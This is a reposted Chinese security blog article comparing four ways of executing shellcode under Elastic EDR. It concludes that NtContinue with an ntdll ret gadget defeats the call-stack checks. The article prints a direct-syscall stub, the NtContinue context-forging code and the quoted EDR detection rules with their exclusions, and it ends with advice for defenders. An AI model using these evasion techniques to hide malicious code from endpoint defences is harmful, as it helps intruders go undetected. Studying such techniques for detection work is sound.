绕过ElaticEDR用户态Hook:从原理到实战

admin 2026-03-03 09:16:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文对比四种在ElasticEDR下执行Shellcode的技术,发现仅NtContinue结合retgadget成功绕过检测。文章剖析了EDR基于调用栈分析的拦截机制,指出该方法通过伪造调用栈源地址规避规则。最后建议防守方加强内核态检测、监控NtContinue调用及异常上下文切换,以应对此类高级绕过技术。 综合评分: 91 文章分类: 红队,渗透测试,逆向分析,安全建设


cover_image

绕过 Elatic EDR 用户态 Hook:从原理到实战

原创

老鑫安全 老鑫安全

老鑫安全

2026年2月15日 15:08 四川

前言

最近在研究 EDR 绕过技术,做了一组对比实验。用四种不同的方式实现同样的功能(分配内存 → 写入 shellcode → 改权限 → 执行),然后在 Elastic EDR 环境下跑一遍,看看哪些会被拦截。

结果挺有意思:

| 版本 | 技术 | 结果 | | — | — | — | | winapi_version | kernel32 API | 被拦截 | | ntdll_direct | 直接调 ntdll | 被拦截 | | direct_syscall | SysWhispers 风格 | 被拦截 | | ntcontinue_version | NtContinue + ret gadget | 未拦截 |

下面详细说说每个版本为什么被拦截(或没被拦截)。

一、WinAPI 版本:最老实的写法

// 标准写法,人人都会
LPVOID mem = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
VirtualProtect(mem, size, PAGE_EXECUTE_READ, &oldProtect);
((void(*)())mem)();

img

触发的规则

Suspicious Memory Size Protection via VirtualProtect

  • • 规则文件:defense_evasion_suspicious_memory_size_protection_via_virtualprotect.toml
  • • 规则 ID:c771303c-a200-4df3-bb76-3e5f87a18438

这条规则检测的是:

process.Ext.api.name in ("VirtualProtect", "VirtualProtectEx") and
process.Ext.api.parameters.protection like "*X*" and
not process.Ext.api.parameters.protection_old like "*X*" and
process.Ext.api.parameters.size == 1

翻译成人话:你调了 VirtualProtect,把内存从不可执行改成可执行,而且改的大小只有 1 字节。这太可疑了,——正常程序谁会只改 1 字节的权限?改成别的? 别想了绕过去了就说明厂商脑子不正常

为什么被抓

调用链是这样的:

你的代码 → kernel32!VirtualProtect → ntdll!NtProtectVirtualMemory → syscall

EDR 在 kernel32 和 ntdll 都下了 hook,你的每一步操作它都看得清清楚楚。而且调用栈里最后一个用户模块是你的 exe,没有签名,直接就被标记为可疑。


二、ntdll 直接调用版本:绕过 kernel32

// 跳过 kernel32,直接调 ntdll
auto NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
NtAllocateVirtualMemory(process, &baseAddr, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

img

触发的规则

1. Suspicious Memory Size Protection via VirtualProtect

  • • 同上,还是被抓

2. Native API Call from Unsigned Module

  • • 规则文件:defense_evasion_native_api_call_from_unsigned_module.toml
  • • 规则 ID:27202cd8-c5a6-4b82-9bb8-f3da69a4d5d3

这条规则检测的是:

process.Ext.api.behaviors == "native_api" and
process.Ext.api.name in ("VirtualAlloc", "VirtualProtect", ...) and
_arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature,
             $entry, $entry.trusted == false or $entry.exists == false)

翻译:你直接调了 Native API(绕过了 kernel32),而且调用栈里最后一个用户模块没有可信签名。

为什么被抓

虽然绕过了 kernel32 的 hook,但 ntdll 的 hook 还在。EDR 看到:

  1. 1. 有人直接调 NtProtectVirtualMemory
  2. 2. 调用者是个没签名的 exe
  3. 3. 正常程序不会这么干

直接标记为恶意行为。

三、Direct Syscall 版本:SysWhispers 风格

这是网上最流行的绕过方式,SysWhispers、Hell’s Gate 等工具都是这个思路。

// 自己构造 syscall stub
unsigned char SyscallStub[] = {
    0x4C, 0x8B, 0xD1,                   // mov r10, rcx
    0xB8, 0x00, 0x00, 0x00, 0x00,       // mov eax, SSN
&nbsp; &nbsp; 0x0F,&nbsp;0x05,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// syscall &nbsp;<-- 关键
&nbsp; &nbsp; 0xC3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // ret
};

// 运行时 patch SSN,然后调用
*(DWORD*)(SyscallStub +&nbsp;4) = ssn;
((SyscallFunc)SyscallStub)(args...);

img

触发的规则

1. Suspicious Memory Protection Change via VirtualProtect

  • • 规则文件:defense_evasion_suspicious_memory_protection_change_via_virtualprotect.toml
  • • 规则 ID:8fcf2b81-8322-423b-a1b4-6bba722f599a

检测逻辑:

process.Ext.api.behaviors == "allocate_shellcode" and
process.Ext.api.parameters.protection == "R-X" and
process.Ext.api.parameters.protection_old == "RW-" and
process.Ext.api.metadata.target_address_name == "Unbacked"

翻译:你把一块”Unbacked”内存(不属于任何已知模块)从 RW 改成了 RX。这是典型的 shellcode 执行模式。

2. Shellcode Execution from Low Reputation Module

  • • 规则文件:defense_evasion_shellcode_execution_from_low_reputation_module.toml
  • • 规则 ID:9fda6a38-3822-45b6-b621-02f750e8cf0d

这是个序列规则,检测:

  1. 1. 先加载了一个低信誉/未签名的模块
  2. 2. 然后出现了 shellcode 行为(allocate_shellcode、execute_shellcode)

为什么被抓

虽然绕过了 ntdll 的 hook(syscall 指令直接进内核),但 EDR 还有其他检测手段:

  1. 1. 调用栈分析:syscall 返回后,调用栈显示返回地址在你的 exe 里,而不是 ntdll.dll。正常情况下 syscall 应该从 ntdll 发起。
  2. 2. 内存属性检测:你的 syscall stub 在一块 RWX 内存里,这本身就很可疑。
  3. 3. 行为模式:RW→RX 的内存权限变化 + 未签名模块 = 高度可疑

四、NtContinue 版本:为什么能绕过

这是我们的版本,核心思路是利用 NtContinue 做上下文切换,配合 ntdll 内部的 ret gadget 来伪造调用栈。

img

技术原理

// 1. 捕获当前上下文(相当于 setjmp)
RtlCaptureContext(&ctx);

// 2. 构造 syscall 上下文
CONTEXT sc = ctx;
sc.Rax = ssn;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // syscall number
sc.R10 = args[0];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 第一个参数
sc.Rcx = args[0];
sc.Rdx = args[1];
sc.R8 = args[2];
sc.R9 = args[3];
sc.Rip = syscall_addr;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 指向 ntdll 里的 syscall 指令

// 3. 关键:设置返回地址为 ntdll 内部的 ret gadget
stack[0] = ntdll_ret_gadget;&nbsp; &nbsp; &nbsp;// syscall 返回到这里
stack[1] = &SyscallLanding;&nbsp; &nbsp; &nbsp; // ret gadget 返回到这里

// 4. 通过 NtContinue 切换到 syscall 上下文
NtContinue(&sc, FALSE);

执行流程:

NtContinue(syscall_ctx)
&nbsp; &nbsp; ↓
ntdll!syscall 指令
&nbsp; &nbsp; ↓
内核执行
&nbsp; &nbsp; ↓
返回到 ntdll_ret_gadget (ntdll.dll 内部)
&nbsp; &nbsp; ↓
ret 到 SyscallLanding()
&nbsp; &nbsp; ↓
NtContinue(restore_ctx) 恢复原始上下文

为什么能绕过

对照前面触发的规则,看看我们是怎么规避的:

1. 调用栈检测

规则检查 call_stack_final_user_module,也就是调用栈里最后一个用户态模块。

  • • Direct Syscall:最后一个用户模块是你的 exe
  • • NtContinue 版本:syscall 返回到 ntdll 的 ret gadget,所以调用栈显示最后一个用户模块是 ntdll.dll

规则里有这个排除:

not process.thread.Ext.call_stack_final_user_module.path like (
&nbsp; &nbsp; "c:\\windows\\system32\\ntdll.dll",
&nbsp; &nbsp; "c:\\windows\\syswow64\\ntdll.dll",
&nbsp; &nbsp; ...
)

我们的调用栈看起来像是从 ntdll 发起的正常调用。

2. Syscall 字节检测

有些规则会扫描内存里的 0F 05(syscall 指令)字节。

  • • Direct Syscall:你的代码里有 syscall 字节
  • • NtContinue 版本:我们用的是 ntdll 里原本就有的 syscall 指令,自己的代码里没有

3. Native API 行为检测

规则检测 process.Ext.api.behaviors == "native_api"

NtContinue 本身是个合法的 API,用于异常处理和上下文切换。我们只是”借用”它来执行 syscall,行为模式和直接调用 Native API 不一样。

4. 内存属性

我们没有创建 RWX 内存来放 syscall stub,所有执行都发生在 ntdll 内部。

关键点总结

| 检测点 | Direct Syscall | NtContinue 版本 | | — | — | — | | 调用栈最终模块 | 你的 exe | ntdll.dll | | syscall 字节位置 | 你的代码里 | ntdll 里 | | 内存属性 | 需要 RWX | 不需要 | | 行为模式 | native_api | 正常上下文切换 |

五、EDR 规则的局限性

看完这些规则,能发现几个特点:

1. 严重依赖调用栈分析

几乎所有规则都检查 call_stack_final_user_module。只要你能让调用栈看起来”正常”,就能绑过大部分检测。

2. 白名单机制

规则里有大量的 hash 白名单和路径排除:

not process.thread.Ext.call_stack_final_user_module.hash.sha256 in (
&nbsp; &nbsp; "76509a878c4328e71e5d9c0622588e28716466bc9e53209...",
&nbsp; &nbsp; ...
)

这说明 EDR 厂商也知道会有误报,所以加了很多例外。但这也意味着如果你的行为能模仿这些”正常”程序,就不会被检测。

3. 签名检查

_arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$entry, $entry.trusted == false or $entry.exists == false)

未签名的模块会被重点关注。但如果调用栈显示是从 ntdll(有微软签名)发起的,这个检查就过了。

六、防御建议

如果你是防守方,这里有几个思路:

  1. 1. 内核态检测:用户态的 hook 和调用栈分析都可以被绑过,内核态的 ETW 或 minifilter 更可靠
  2. 2. NtContinue 监控:正常程序很少用 NtContinue,如果一个进程频繁调用它,值得关注
  3. 3. 上下文切换检测:检测 RIP 突然跳到 ntdll 中间位置的情况
  4. 4. 行为序列分析:单个 API 调用可能看起来正常,但 NtContinue → syscall → 内存操作 这个序列就很可疑

七、代码

代码被EDR杀了

编译:

cd cpp_versions
mkdir build && cd build
cmake ..
cmake --build . --config Release

八、参考

  • • SysWhispers – 经典的 direct syscall 工具
  • • Elastic protections-artifacts – 本文分析的 EDR 规则来源
  • • MITRE ATT&CK T1055 (Process Injection)
  • • MITRE ATT&CK T1106 (Native API)

免责声明:本文仅用于安全研究和教育目的。测试代码只执行一条 ret 指令,不包含任何恶意功能。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:老鑫安全 老鑫安全 老鑫安全《绕过 Elatic EDR 用户态 Hook:从原理到实战》

评论:0   参与:  0